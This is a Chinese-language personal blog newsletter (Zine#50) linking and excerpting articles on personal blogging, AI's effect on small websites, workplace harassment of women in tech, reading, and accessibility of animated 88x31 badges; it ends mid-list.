<p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/album-41.txt">純文本版本</a> <a href="https://taxodium.ink/album-41.org">原始 org 文件</a>

2026/6/1
阅读更多

Zine#50 - 博客宣言、AI 對个人网站的冲击、not be a prick

<div id="content" class="content e-content"> <header> <h1 class="title p-name">Zine#50</h1> <p class="subtitle" role="doc-subtitle">博客宣言、AI 對个人网站的冲击、not be a prick</p> </header> <p> 🎵 Summer - 久石譲 </p> <figure> <a href="images/album/20260531T235217--kikujiro-original-motion-picture-soundtrack__19990526_albumwall_image_久石譲.jpeg"><img src="images/album/20260531T235217--kikujiro-original-motion-picture-soundtrack__19990526_albumwall_image_久石譲.jpeg" alt="20260531T235217--kikujiro-original-motion-picture-soundtrack__19990526_albumwall_image_久石譲.jpeg"></a> <figcaption><span class="figure-number">&#22270;1&nbsp; </span>《Kikujiro (Original Motion Picture Soundtrack)》専輯封面</figcaption> </figure> <p> 儿童節快樂 σ(´∀`*) </p> <div id="outline-container-5B6C09AC-6912-4D7D-A61F-4519A8138B85" class="outline-2"> <h2 id="5B6C09AC-6912-4D7D-A61F-4519A8138B85"><a href="#5B6C09AC-6912-4D7D-A61F-4519A8138B85">News | Article</a></h2> <div class="outline-text-2" id="text-5B6C09AC-6912-4D7D-A61F-4519A8138B85"><ul class="org-ul"> <li><p> <a href="https://webweekly.email/archive/web-weekly-193/">Web Weekly #193</a> by Stefan Judis </p> <p> 前阵子,一個關注的博客清空了网站上的內容,<a href="https://2ality.com/">宣布暂时离线</a>,原因是收入缩减以及 AI 抓取导致的托管成本增加。 Web Weekly 的作者也观察到他的网站流量一直在下降,人們更多地在聊天框里获取信息,越來越少人訪問网站本身,网絡上也越來越多充斥着 AI 生成的內容。像是 Google 這樣的公司還計畫 <a href="https://techcrunch.com/2026/05/19/google-search-as-you-know-it-is-over/">减少搜索頁的鏈接,替換成一个聊天框</a>,进一步惡化了現状。 </p> <p> 我的博客目前倒是影响不大,本來流量也不多,AI 似乎也没怎么爬我的网站,如果因為 AI 爬取导致維护成本很高,到時再想辦法應對。可以預想的是,未來博客会越來越难曝光,更难收获到新的讀者。還是会繼續寫的,有人看固然重要,也開心,但寫博客也不仅是為了給讀者看,整理思緒、搗鼓格式和樣式也是喜歡的。 </p> <p> 像 Stefan 說的,重要的是去在意,去關心,不管是作者還是讀者,一个人的选择或許渺小,但正是一个个人的选择,决定了未來的去向。 </p> <blockquote> <p> 互联网从未被承诺是开放、免费或可修改的。它诞生于美国军方,并受到多家私营公司的追捧,本可以轻易地被单一实体据为己有。<span class="underline">然而,许多勇敢的人挺身而出,为保持它的全民开放而奋斗,使其由众人共同维护,不为任何人私有。</span> </p> <p> <span class="underline">我们可以一起一砖一瓦地塑造这些互联网。</span><span class="underline">我们可以建造属于自己的公园、咖啡馆、杂货店、瀑布和山脉。</span><span class="underline">我们不仅是以用户的身份,更是以守护者的身份去照料它们,为子孙后代守护这个家园。</span> </p> <p> <span class="underline">这些互联网不会是逃避现实世界的避难所。</span><span class="underline">我们会回到线下,去亲近自然,与朋友聚会,</span><span class="underline">然后再回到线上,与远在天边的朋友和陌生人邂逅,共度短暂的时光。</span><span class="underline">一生一次,一期一会。</span> </p> <p> <a href="https://news.spencer.place/p/the-internet-has-no-benches#:~:text=family%2E-,The,%E4%B8%80%E6%9C%9F%E4%B8%80%E4%BC%9A">The Internet has no benches</a> by Spencer Chang </p> </blockquote></li> <li><p> <a href="https://marcjenkins.co.uk/personal-blogging/">Personal blogging</a> by Marc Jenkins </p> <blockquote> <p> 在网上拥有一个属于自己的空间会帯來一种释放感,这个空间不依附于任何公司的算法或商业模式。你可以随心所欲地使用它,你也应该这样做。 </p> <p> 个人博客更有可能与有趣的人产生有趣的对话。对我来说,这就是在网络上拥有自己小小角落的美妙之处。 </p> <p> <a href="https://marcjenkins.co.uk/personal-blogging/#:~:text=There%27s%20something,web">Source</a> </p> </blockquote></li> <li><p> <a href="https://tomcritchlow.com/2023/02/10/riffs/">Writing, Riffs &amp; Relationships</a> by Tom Critchlow </p> <blockquote> <p> 忘掉「曝光量」吧。博客的单位不是浏览量,而是对话。 </p> <p> <a href="https://tomcritchlow.com/2023/02/10/riffs/#:~:text=Forget%20about%20%E2%80%9Cvisibility%E2%80%9D%20for%20your%20post%2E%20The%20unit%20of%20blogging%20isn%E2%80%99t%20pageviews%2C%20it%E2%80%99s%20conversations%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://herman.bearblog.dev/resurfacing-posts/">Resurfacing posts</a> by Herman </p> <p> 当博客文章多了之后,有的不錯的旧文可能无人問津,作者建議有空捞一捞,重新分享出來,例如像作者一樣寫篇文章回頋一下;或者也可以做一個隨機文章入口。 </p></li> <li><p> <a href="https://www.themarginalian.org/2012/03/12/john-steinbeck-six-tips-on-writing/">Six Tips on Writing from John Steinbeck</a> by The Marginalian </p> <blockquote> <p> 忘掉你那泛泛的读者。首先,那些无名无姓、面目模糊的读者会把你吓得半死;其次,与戏剧不同,这样的读者根本不存在。<span class="underline">写作时,你的读者只有一个人。</span><span class="underline">我发现,有时选定一个具体的人 —— 一个你认识的真人,</span><span class="underline">或一个想象中的人 —— 然后专门为他而写,会很有帮助。</span> </p> <p> <a href="https://www.themarginalian.org/2012/03/12/john-steinbeck-six-tips-on-writing/#:~:text=Forget,one,-%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.gordonmclean.co.uk/2026/04/28/the-bloggers-manifesto/">The Blogger’s Manifesto</a> by HAPPILY IMPERFECT </p> <p> 作者回頋了自己寫博客的历程,并寫下了一份博客宣言。 </p> <details> <summary>博客宣言</summary> <blockquote> <p> 写作是为了理解事物,而不是为了博取眼球;始终选择清晰与深度,而非喧嚣与速度。 </p> <p> 在分享时保持真实,不躲在人设背后,也不刻意修饰棱角。努力保留所写之事的真相,如果你说的不是真心话,那最好保持沉默。 </p> <p> 关注微小的细节 —— 事物的触感、大多数人错过的微小瞬间、石缝中开花的杂草 —— 这才是真正产生共鸣的地方。 </p> <p> 创作吧,别等待!你不需要得到许可才能写作,也不应为了追求完美而迟迟不发布。完成且真诚的作品,永远比完美却无人问津的作品更有意义。 </p> <p> 尊重读者,让每一个字都有价值;他们的时间很宝贵,所以要让他们觉得物有所值。 </p> <p> 允许你的声音随着你的成长而改变,要知道,成长并不是前后不一,它正是意义所在。 </p> <p> 不要被数据或指标分心,相反,要把注意力放在你写的东西是否能与某人产生共鸣上,哪怕这种共鸣是无声的。 </p> <p> 最后,坚持下去,尤其是在觉得没人在听的时候。因为写博客不是为了被听到,而是因为你有真实的话想说,并且无论如何都选择把它说出来。 </p> <p> <a href="https://www.gordonmclean.co.uk/2026/04/28/the-bloggers-manifesto/#:~:text=Write%20to,anyway">Source</a> </p> </blockquote> </details> <p> 喜歡,共勉。 </p></li> <li><p> <a href="https://blast-o-rama.com/2026/05/13/dear-internet-read-a-little-deeper-it-wont-hurt-you-i-promise/">Dear Internet: Read A Little Deeper, It Won’t Hurt You, I Promise</a> by Marty Day </p> <blockquote> <p> 如果我可以向互联网上的各位提一个要求的话: </p> <ul class="org-ul"> <li>请务必阅读完整故事,而不仅仅是看标题</li> <li>理解故事真正想要表达的内容</li> <li>如果有原始出处 ⸺ 点击进去,阅读那个原始来源</li> <li>分享原始出处</li> <li>如果你找不到原始出处 ⸺ 那可能是在胡扯!</li> </ul> <p> <a href="https://blast-o-rama.com/2026/05/13/dear-internet-read-a-little-deeper-it-wont-hurt-you-i-promise/#:~:text=If,BS">Source</a> </p> </blockquote> <p> Zine 中的文章如果你感兴趣或存疑,也推薦去閱讀原文 :) </p></li> <li><p> <a href="https://ohhelloana.blog/woman-in-tech/">It's 2026 and women are still asked to teach others to think a little bit and not be a prick</a> by Ana Rodrigues </p> <p> 文章是關於女性在职场中受到的歧视、騷扰、不公。 </p> <details> <summary>摘录</summary> <blockquote> <p> 科技圈女性面临的一大问题是同事的搭讪。而问题往往始于这些同事被拒绝之后。我们不能在幻灯片上赫然写着「拒绝同事追求的女性几乎总是会面临报复」。 </p> <p> <a href="https://ohhelloana.blog/woman-in-tech/#:~:text=A%20big,time%E2%80%9D%2E">Source</a> </p> </blockquote> <blockquote> <p> 我还遭受了女性常遇到的典型不公待遇:例如,如果有人提问而我回答了,他们会默认我的答案是错的。任何来自男性的赞美或鼓励,都会被其他男性评价为「他这么说只是因为你是女人」。 </p> <p> <a href="https://ohhelloana.blog/woman-in-tech/#:~:text=was%2E-,I,men%2E">Source</a> </p> </blockquote> <blockquote> <p> 你看,大多数人认为性骚扰只是一个猥琐男把手搭在你肩膀上试图给你按摩。那是人力资源培训幻灯片里配图的样子,对吧?<span class="underline">但对我来说,性骚扰更多地表现为报复。</span> </p> <p> 每当我换工作时,总会冒出一批新的未知敌人。没有什么比刚入职时更让人心累的了:当你和一位男同事一起参加入职培训,一切进展顺利,直到他问出那句「你有男朋友吗?」,你就完全知道接下来会发生什么。<span class="underline">有一半的情况,他们会立刻收起友善的态度。</span><span class="underline">不再有起码的人文关怀,回答我的问题时也不再掩饰对我的轻蔑。</span><span class="underline">对他们而言,我不是一个能为工作做出贡献的同事,而是一个物件;</span><span class="underline">如果我不是单身,我就毫无价值。</span>这种时候你能向谁求助呢?<span class="underline">毕竟,他们是掌握核心代码库、极具价值的「十倍效率开发者」,</span><span class="underline">而人力资源又是那个整天宣称「我们都是幸福一家人」的行政人员。</span> </p> <p> <a href="https://ohhelloana.blog/woman-in-tech/#:~:text=You%20see,family">Source</a> </p> </blockquote> </details> <p> 作者受到的骚扰,一个原因是她是处於弱势的,男性掌握着資源和話語权,行政也不作為。在很多男性主导的公司里,女性都处於這樣的弱势。在內部环境求助无門,可以寻求外部力量,收集証据,用法律保护自己。实在沒辦法大不了离职,远离這个环境(虽然会很不甘,錯不在自己却是自己承受代价,但至少不必再忍受)。 </p> <p> 文中說到的报复也很常見,当发生過冲突,或者莫名引起對方不爽,有的人就会一直怀恨在心,处处想着針對對方。 </p> <p> 作為男性,要意識到自己的一些行為可能是一種骚扰,保持距离,保持友善,Don't be a prick。是否是个混蛋,我想每个人应該是清楚的,有的人假装不知,那只是明知故犯。如果真的分辨不出,那就去學吧。 </p></li> <li><p> <a href="https://mp.weixin.qq.com/s/1-OsiGbpq_YnLd_ZdLqG8Q">女儿抑郁症后,一位父亲的反思</a> </p> <p> 幸运的是,女儿还愿意敞開心扉,父亲也愿意傾聴和理解,那就还能沟通。 </p></li> <li><p> <a href="https://wangyurui.com/posts/hao-ren-wei-bi-shi-hao-tong-zhi-zhe-ac7d10f0">好人未必是好统治者</a> by 太隐 </p> <blockquote> <p> 因为潜规则一旦被写成白纸黑字,性质就变了。它不再只是描述现实,它还在降低后来者跨过那条线的心理门槛。 </p> <p> <a href="https://wangyurui.com/posts/hao-ren-wei-bi-shi-hao-tong-zhi-zhe-ac7d10f0#:~:text=%E5%9B%A0%E4%B8%BA%E6%BD%9C%E8%A7%84%E5%88%99%E4%B8%80%E6%97%A6%E8%A2%AB%E5%86%99%E6%88%90%E7%99%BD%E7%BA%B8%E9%BB%91%E5%AD%97%EF%BC%8C%E6%80%A7%E8%B4%A8%E5%B0%B1%E5%8F%98%E4%BA%86%E3%80%82%E5%AE%83%E4%B8%8D%E5%86%8D%E5%8F%AA%E6%98%AF%E6%8F%8F%E8%BF%B0%E7%8E%B0%E5%AE%9E%EF%BC%8C%E5%AE%83%E8%BF%98%E5%9C%A8%E9%99%8D%E4%BD%8E%E5%90%8E%E6%9D%A5%E8%80%85%E8%B7%A8%E8%BF%87%E9%82%A3%E6%9D%A1%E7%BA%BF%E7%9A%84%E5%BF%83%E7%90%86%E9%97%A8%E6%A7%9B%E3%80%82%E6%8B%BF">Source</a> </p> </blockquote></li> <li><p> <a href="https://sive.rs/n0">Prepare your “no” and keep it handy</a> by Derek Sivers </p> <p> 提前寫好一份得體的拒絕說辞,需要時直接复制发送,可以快速拒絕,减少拒絕時的心理負担。 </p> <p> 一份得體的拒絕說辞包括: </p> <ul class="org-ul"> <li>明确的拒絕</li> <li>感激,感謝對方的邀请和重視</li> <li>解释,为了专注于更重要的「是」,对其他一切都说「不」</li> <li>祝好,如果情况只是暂时的,邀请對方以後再来问问</li> </ul></li> <li><p> <a href="https://blog.jim-nielsen.com/2026/rotten-macos-icon-design/">Something’s Rotten in the State of macOS Icon Design</a> by Jim Nielsen </p> <p> 如果把 macOS 多年的图标按時間倒序排列,看起來就像是某个在图标设计方面越来越厉害的人的作品集。最初的图标看着确实更有趣味。 </p></li> <li><p> <a href="https://matthiasott.com/notes/ad-infinitum">Ad Infinitum</a> by Matthias Ott </p> <p> Google 原來靠搜索排名、頁面广告获取大量的广告收入,改成聊天框的話,那广告哪去了?那只能是 <a href="https://blog.google/products/ads-commerce/google-marketing-live-search-ads/">塞在 LLM 的回答里了</a>。 </p> <p> 如果你不想看广告,付費用 <a href="maybe-you-want-to-try-kagi.html">Kagi</a> 吧。 </p></li> <li><p> <a href="https://theconversation.com/if-ai-can-translate-instantly-why-learn-another-language-280310">If AI can translate instantly, why learn another language?</a> by Olivia Maurice &amp; Mark Antoniou </p> <p> 學習語言本身就是意义所在;翻譯是有信息丟失的,能看懂原文更好;LLM 翻譯也未必准确。 </p> <blockquote> <p> 翻译并不等同于参与。学习一门语言意味着理解人们的思维方式、他们的价值观,以及意义是如何受语境和历史塑造的。这种文化素养是通过互动和经验培养出来的。我们无法将其完全外包给那些按需翻译的系统。 </p> <p> <a href="https://theconversation.com/if-ai-can-translate-instantly-why-learn-another-language-280310#:~:text=This,demand">Source</a> </p> </blockquote></li> <li><p> <a href="https://psyche.co/turning-points/i-was-just-performing-friendship-something-had-to-give">I was just performing friendship. Something had to give</a> by Marina Benjamin </p> <p> 如果维持友谊变成一種負担,還是早点摊開說好,對彼此都是好事,坦誠或許没想象中可怕。 </p> <blockquote> <p> 任由关系淡去的愧疚感,远不如维持关系带来的缓慢窒息感那样痛苦。 </p> <p> <a href="https://psyche.co/turning-points/i-was-just-performing-friendship-something-had-to-give#:~:text=I%E2%80%99m%20afraid%20of%20the%20void%2E%20Of%20not%20knowing%20who%20I%20am%20without%20the%20constant%20performance%20of%20connection">Source</a> </p> </blockquote></li> <li><p> <a href="https://chlo.is/almanach-25/">岁时录(二十五)</a> by Chlorine </p> <blockquote> <p> 这里还有一个问题:许多的 88x31 是闪烁的。有的是温和的闪烁,有的则不然。如果说对于普通人,高频闪烁的 GIF 只是不美观或者轻微不适,那对于光敏性癫痫患者,这种闪烁就是危险了。 </p> <p> Web pages do not contain anything that flashes more than three times in any one second period, or the flash is below the general flash and red flash thresholds. </p> <p> ⸺ W3 Success Criterion </p> <p> 如果我们为了多数人的趣味而忽略少数人的安全,那在 a11y 上,88x31 ⸺ 当然,说的是快速闪烁的那些 ⸺ 就是暴政。 </p> <p> <a href="https://chlo.is/almanach-25/#:~:text=%E8%BF%99%E9%87%8C%E8%BF%98%E6%9C%89,%E6%9A%B4%E6%94%BF">Source</a> </p> </blockquote> <p> 确實是一個要注意的問題,我之前的 88x31 也是有些閃,不那麼温和。重新生成了一個靜態的,如果你引用過,还請替換一下,thanks :) </p> <details> <summary>新的 88x31 的 HTML 片段</summary> <div class="org-src-container"> <pre class="src src-html"><code>&lt;<span class="org-function-name">a</span> <span class="org-variable-name">href</span>=<span class="org-string">"https://taxodium.ink"</span> <span class="org-variable-name">target</span>=<span class="org-string">"_blank"</span>&gt; &lt;<span class="org-function-name">img</span> <span class="org-variable-name">src</span>=<span class="org-string">"https://taxodium.ink/images/88x31/taxodium.ink.png"</span> <span class="org-variable-name">alt</span>=<span class="org-string">"Cool Button of taxodium.ink"</span> <span class="org-variable-name">width</span>=<span class="org-string">"88"</span> <span class="org-variable-name">height</span>=<span class="org-string">"31"</span>&gt; &lt;/<span class="org-function-name">a</span>&gt; </code></pre> </div> </details> <p> 另外,如果想减少閃烁,也可以考虑添加 <a href="https://github.com/ctrl-freaks/freezeframe.js/">Freezeframe.js</a> 进行控制,它可以暂停 GIF,在 hover 時再讓 GIF 動起來。缺點是需要多引入几十 K 的 JavaScript。 </p></li> <li><p> <a href="https://writingslowly.com/2026/05/18/the-paradox-of-mastery-why.html">The Paradox of Mastery: Why the Expert Must Remain a Beginner</a> by Richard Griffiths </p> <blockquote> <p> 所谓的专家陷阱 ,就是你开始认为自己已经超越了学习新事物的阶段 。 </p> <p> [&hellip;] </p> <p> 铃木禅师警告说「在专家的心中 ,可能性寥寥无几 。」随着我们巩固知识 ,心灵会失去其固有的流动性。我们不再观察眼前的事物,因为我们正忙于识别以前见过的模式。常规的专业知识在最糟糕的意义上变得空洞 ⸺ 那不是禅宗里充满生机的「空」,而是一个自认为无所不知的人所处的封闭系统。那就是专家陷阱。 </p> <p> <a href="https://writingslowly.com/2026/05/18/the-paradox-of-mastery-why.html#:~:text=%E9%93%83%E6%9C%A8%E7%A6%85%E5%B8%88%E8%AD%A6%E5%91%8A%E8%AF%B4%EF%BC%9A%22%E5%9C%A8%E4%B8%93%E5%AE%B6%E7%9A%84%E5%BF%83%E4%B8%AD%EF%BC%8C%E5%8F%AF%E8%83%BD%E6%80%A7%E5%AF%A5%E5%AF%A5%E6%97%A0%E5%87%A0%E3%80%82%22%E9%9A%8F%E7%9D%80%E6%88%91%E4%BB%AC%E5%B7%A9%E5%9B%BA%E7%9F%A5%E8%AF%86%EF%BC%8C%E5%BF%83%E7%81%B5%E4%BC%9A%E5%A4%B1%E5%8E%BB%E5%85%B6%E5%9B%BA%E6%9C%89%E7%9A%84%E6%B5%81%E5%8A%A8%E6%80%A7%E3%80%82%E6%88%91%E4%BB%AC%E4%B8%8D%E5%86%8D%E8%A7%82%E5%AF%9F%E7%9C%BC%E5%89%8D%E7%9A%84%E4%BA%8B%E7%89%A9%EF%BC%8C%E5%9B%A0%E4%B8%BA%E6%88%91%E4%BB%AC%E6%AD%A3%E5%BF%99%E4%BA%8E%E8%AF%86%E5%88%AB%E4%BB%A5%E5%89%8D%E8%A7%81%E8%BF%87%E7%9A%84%E6%A8%A1%E5%BC%8F%E3%80%82%E5%B8%B8%E8%A7%84%E7%9A%84%E4%B8%93%E4%B8%9A%E7%9F%A5%E8%AF%86%E5%9C%A8%E6%9C%80%E7%B3%9F%E7%B3%95%E7%9A%84%E6%84%8F%E4%B9%89%E4%B8%8A%E5%8F%98%E5%BE%97%E7%A9%BA%E6%B4%9E%EF%BC%9A%E9%82%A3%E4%B8%8D%E6%98%AF%E7%A6%85%E5%AE%97%E9%87%8C%E5%85%85%E6%BB%A1%E7%94%9F%E6%9C%BA%E7%9A%84%22%E7%A9%BA%22%EF%BC%8C%E8%80%8C%E6%98%AF%E4%B8%80%E4%B8%AA%E8%87%AA%E8%AE%A4%E4%B8%BA%E6%97%A0%E6%89%80%E4%B8%8D%E7%9F%A5%E7%9A%84%E4%BA%BA%E6%89%80%E5%A4%84%E7%9A%84%E5%B0%81%E9%97%AD%E7%B3%BB%E7%BB%9F%E3%80%82%E9%82%A3%E5%B0%B1%E6%98%AF%E4%B8%93%E5%AE%B6%E9%99%B7%E9%98%B1%20">Source</a> </p> </blockquote> <p> Stay Hungry, Stay Foolish. </p></li> <li><p> <a href="https://anniemueller.com/posts/its-either-a-poem-or-a-piece-of-cheese-week-20-2026">It’s either a poem or a piece of cheese // Week 20 — 2026</a> by Annie </p> <details> <summary>摘录</summary> <blockquote> <p> 「我想让你见识各种各样的事物,」 他常对她说,「我想让你明白,这一切不过是一场伟大的冒险,一场精彩的演出。诀窍就在于既要参与其中,又要旁观其变。」 </p> <p> 「什么整件事?」 </p> <p> 「生活。五花八门。你接触的人越多,做过的事越多,经历的波折越多,你就越丰富。哪怕这些事并不愉快。这就是生活。记住,无论发生什么,好坏皆然,那不过是……」—— 他下意识地用了赌徒的行话 ——「不过是些天鹅绒罢了。」 </p> <p> ⸺ <i>So Big</i> by Edna Ferber </p> <p> <a href="https://anniemueller.com/posts/its-either-a-poem-or-a-piece-of-cheese-week-20-2026#:~:text=%E2%80%9CI%20want,Ferber">Source</a> </p> </blockquote> <blockquote> <p> <span class="underline">这虽是个令人难受的承认,但诗歌艺术本身就蕴含着力量,无需将其拆解为批判性的条目。</span>我并非指诗歌应当像那种不修边幅、不负责任的小丑,随意将词句抛向虚空。但一首好诗所传递的情感,本身就蕴含着存在的理由。 </p> <p> <span class="underline">……归根结底,艺术就是其自身的理由,它要么是艺术,要么就是别的什么。</span><span class="underline">它要么是一首诗,要么是一块奶酪。</span> </p> <p> ⸺ <i>On Writing</i>, Charles Bukowski </p> <p> <a href="https://anniemueller.com/posts/its-either-a-poem-or-a-piece-of-cheese-week-20-2026#:~:text=It%20is,Bukowski">Source</a> </p> </blockquote> <p> 另見: <a href="49.html#2010CF66-7E24-4A87-8B23-0292F3C2D488">Zine#49::Against Interpretation by Susan Sontag</a> </p> </details></li> <li><p> <a href="https://shuiba.co/trip-to-okinawa">冲绳跨年</a> by 水八口 </p> <blockquote> <p> 开到外海后风浪明显大了很多,船晃得厉害。出行前船员温柔表示如果不舒服请通知他们,然后坡坡不太舒服我赶紧招呼附近一个小哥过来。<span class="underline">我以为他有晕船药或者什么水手密招,结果他蹲下来给坡坡加油。</span> </p> <p> <a href="https://shuiba.co/trip-to-okinawa#:~:text=%E5%BC%80%E5%88%B0%E5%A4%96%E6%B5%B7%E5%90%8E%E9%A3%8E%E6%B5%AA%E6%98%8E%E6%98%BE%E5%A4%A7%E4%BA%86%E5%BE%88%E5%A4%9A%EF%BC%8C%E8%88%B9%E6%99%83%E5%BE%97%E5%8E%89%E5%AE%B3%E3%80%82%E5%87%BA%E8%A1%8C%E5%89%8D%E8%88%B9%E5%91%98%E6%B8%A9%E6%9F%94%E8%A1%A8%E7%A4%BA%E5%A6%82%E6%9E%9C%E4%B8%8D%E8%88%92%E6%9C%8D%E8%AF%B7%E9%80%9A%E7%9F%A5%E4%BB%96%E4%BB%AC%EF%BC%8C%E7%84%B6%E5%90%8E%E5%9D%A1%E5%9D%A1%E4%B8%8D%E5%A4%AA%E8%88%92%E6%9C%8D%E6%88%91%E8%B5%B6%E7%B4%A7%E6%8B%9B%E5%91%BC%E9%99%84%E8%BF%91%E4%B8%80%E4%B8%AA%E5%B0%8F%E5%93%A5%E8%BF%87%E6%9D%A5%E3%80%82%E6%88%91%E4%BB%A5%E4%B8%BA%E4%BB%96%E6%9C%89%E6%99%95%E8%88%B9%E8%8D%AF%E6%88%96%E8%80%85%E4%BB%80%E4%B9%88%E6%B0%B4%E6%89%8B%E5%AF%86%E6%8B%9B%EF%BC%8C%E7%BB%93%E6%9E%9C%E4%BB%96%E8%B9%B2%E4%B8%8B%E6%9D%A5%E7%BB%99%E5%9D%A1%E5%9D%A1%E5%8A%A0%E6%B2%B9%E3%80%82%E6%88%91%E4%B9%9F">Source</a> </p> </blockquote> <p> 哈哈。頑張ってね。 </p></li> <li><p> <a href="https://tracydurnell.com/2026/05/09/letting-things-build/">Letting things build</a> by Tracy Durnell </p> <p> Tracy 一些關於閱讀的覌點,「順其自然」地閱讀更愉快。 </p> <details> <summary>摘录</summary> <blockquote> <p> [&hellip;]我只需追随好奇心; 从吸引我的读物入手,便会开启一些我现在根本想不到的新问题。 </p> <p> <a href="https://tracydurnell.com/2026/05/09/letting-things-build/#:~:text=I%20don%E2%80%99t%20need%20to%20know%20yet%20%E2%80%94%20that%20I%20can%20simply%20follow%20my%20curiosity%3B%20starting%20with%20some%20reading%20that%20draws%20me%20will%20open%20up%20new%20questions%20I%20wouldn%E2%80%99t%20think%20to%20ask%20now%2E%20%28I%E2%80%99ve">Source</a> </p> </blockquote> <blockquote> <p> 我也好奇,<span class="underline">人们在阅读长篇作品时感受到的某些阻力,是否源于他们为了重新培养专注力而选择了「错误」的书籍。</span>优化文化让我们总想阅读任何主题下「最棒」的书(或者, 如果 Goodreads 的数据具有参考价值的话 ⸺ 就是最长的小说),即使我们可能尚未做好准备。<span class="underline">我们深知不能指望未经训练就能跑完马拉松,却很容易忘记我们的思维同样具有身体性:</span><span class="underline">思维既会因久未使用而迟钝,也能通过练习得到磨砺。</span> </p> <p> <a href="https://tracydurnell.com/2026/05/09/letting-things-build/#:~:text=I%20also,practice%2E">Source</a> </p> </blockquote> <blockquote> <p> 有时,全身心投入一本具有挑战性的书是值得的(这正是《如何阅读一本书》所倡导的,对我来说在阅读《文本的愉悦》时效果不错)……但有时这种蛮干的方式会让学习变得比必要时困难得多。选择一条好的路线对于登顶至关重要 ⸺ 从某个角度切入晦涩的文本或重大问题,可能会让攀登变得轻松许多(也更愉快)。 </p> <p> <a href="https://tracydurnell.com/2026/05/09/letting-things-build/#:~:text=Sometimes,enjoyable">Source</a> </p> </blockquote> <blockquote> <p> 我希望书籍是向自己发出的邀请,而非一项任务 。 </p> <p> <a href="https://tracydurnell.com/2026/05/09/letting-things-build/#:~:text=I%20want%20books%20to%20be%20an%20invitation%20I%20offer%20myself%2C%20not%20an%20assignment%2E">Source</a> </p> </blockquote> </details> <p> 另見:<a href="reading-should-be-happy.html">读书应该是一种享受</a>。 </p></li> <li><p> <a href="https://borretti.me/article/the-applicability-of-spaced-repetition">The Applicability of Spaced Repetition</a> by Fernando Borretti </p> <p> 對於一些高度概念化、抽象化的領域,用間隔重复死記硬背效果不好,去理解会更容易記住。 </p> <blockquote> <p> 在高度概念化和抽象的领域,你不是在记忆一套客观可知的实事,你是在试图巩固一个私人的、内部的心理模型,这个模型是你通过阅读、思考和解决问题建立起来的。 </p> <p> <a href="https://borretti.me/article/the-applicability-of-spaced-repetition#:~:text=Anki%2E-,In,problems%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.hecaitou.com/2026/05/buying-second-hand-goods-from-japan-for-the-first-time.html">第一次日淘二手货</a> by 和菜头 </p> <blockquote> <p> 我兴冲冲点了进去,看到一篇散文。附带说一声,天知道为什么那么多闲鱼卖家喜欢用商品介绍页写小散文。写散文也倒罢了,我耐着性子看到这篇散文秀过恩爱,显摆完毕,最后,突然蹦出来一行字:「仅分享交流,不出」。 </p> <p> <a href="https://www.hecaitou.com/2026/05/buying-second-hand-goods-from-japan-for-the-first-time.html#:~:text=%E6%88%91%E5%85%B4%E5%86%B2%E5%86%B2%E7%82%B9%E4%BA%86%E8%BF%9B%E5%8E%BB%EF%BC%8C%E7%9C%8B%E5%88%B0%E4%B8%80%E7%AF%87%E6%95%A3%E6%96%87%E3%80%82%E9%99%84%E5%B8%A6%E8%AF%B4%E4%B8%80%E5%A3%B0%EF%BC%8C%E5%A4%A9%E7%9F%A5%E9%81%93%E4%B8%BA%E4%BB%80%E4%B9%88%E9%82%A3%E4%B9%88%E5%A4%9A%E9%97%B2%E9%B1%BC%E5%8D%96%E5%AE%B6%E5%96%9C%E6%AC%A2%E7%94%A8%E5%95%86%E5%93%81%E4%BB%8B%E7%BB%8D%E9%A1%B5%E5%86%99%E5%B0%8F%E6%95%A3%E6%96%87%E3%80%82%E5%86%99%E6%95%A3%E6%96%87%E4%B9%9F%E5%80%92%E7%BD%A2%E4%BA%86%EF%BC%8C%E6%88%91%E8%80%90%E7%9D%80%E6%80%A7%E5%AD%90%E7%9C%8B%E5%88%B0%E8%BF%99%E7%AF%87%E6%95%A3%E6%96%87%E7%A7%80%E8%BF%87%E6%81%A9%E7%88%B1%EF%BC%8C%E6%98%BE%E6%91%86%E5%AE%8C%E6%AF%95%EF%BC%8C%E6%9C%80%E5%90%8E%EF%BC%8C%E7%AA%81%E7%84%B6%E8%B9%A6%E5%87%BA%E6%9D%A5%E4%B8%80%E8%A1%8C%E5%AD%97%EF%BC%9A%E3%80%8C%E4%BB%85%E5%88%86%E4%BA%AB%E4%BA%A4%E6%B5%81%EF%BC%8C%E4%B8%8D%E5%87%BA%E3%80%8D%E3%80%82">Source</a> </p> </blockquote> <p> _​(:3 」∠)_ </p></li> <li><p> <a href="https://huntergatherer21c.com/2026/05/20/friction-deserves-a-better-reputation.html">Friction deserves a better reputation.</a> by Nicholas Bate </p> <p> 故意引入一些摩擦,讓自己慢下來,多花些時間思量,而不是急匆匆地行動,只追求快。 </p></li> <li><p> <a href="https://robertbirming.com/your-blog-photos/">Your blog needs more photos</a> by Robert Birming </p> <p> 适当給博客添加一些图片,會讓博客看起來更有生气和真实。例如可以在 about、now 等頁面放一兩張。不一定是自己的照片,像是你的桌面,电脑也很好。不過我不喜歡看那種很明显 AI 風格的图片,有一種劣貭感。 </p></li> <li><p> <a href="https://achilletoupin.com/blog/paris-argentique/">Paris sous argentique</a> by Achille Toupin </p> <p> 作者和朋友漫步巴黎,各拿一台胶片機扫街的冒險故事。 </p></li> <li><p> <a href="https://manuelmoreale.com/interview/flamed">an interview with fLaMEd</a> by Manuel Moreale </p> <p> 對博主 <a href="https://flamedfury.com/">fLaMEd</a> 的采訪,這個采訪系列不錯。类似的采訪: </p> <ul class="org-ul"> <li><a href="https://web-weaving.jamesg.blog/">Wonders of Web Weaving</a>,采訪热爱制作网站的人。</li> <li><a href="https://listeningroomsmusic.com/marginalia/">Marginalia</a>,采訪一些喜歡音樂的人。</li> </ul></li> <li><p> <a href="https://jamesg.blog/2026/05/27/views-between">Views; between</a> by James </p> <blockquote> <p> 在抵达与到达目的地之间的时刻,存在着一种美。 </p> <p> <a href="https://jamesg.blog/2026/05/27/views-between#:~:text=There%20is%20beauty%20in%20the%20moments%20between%20arriving%20and%20reaching%20your%20destination%2E%20I">Source</a> </p> </blockquote></li> <li><a href="https://forkingmad.blog/my-favourite-part-of-the-day/">My Favourite Part of the Day</a> by 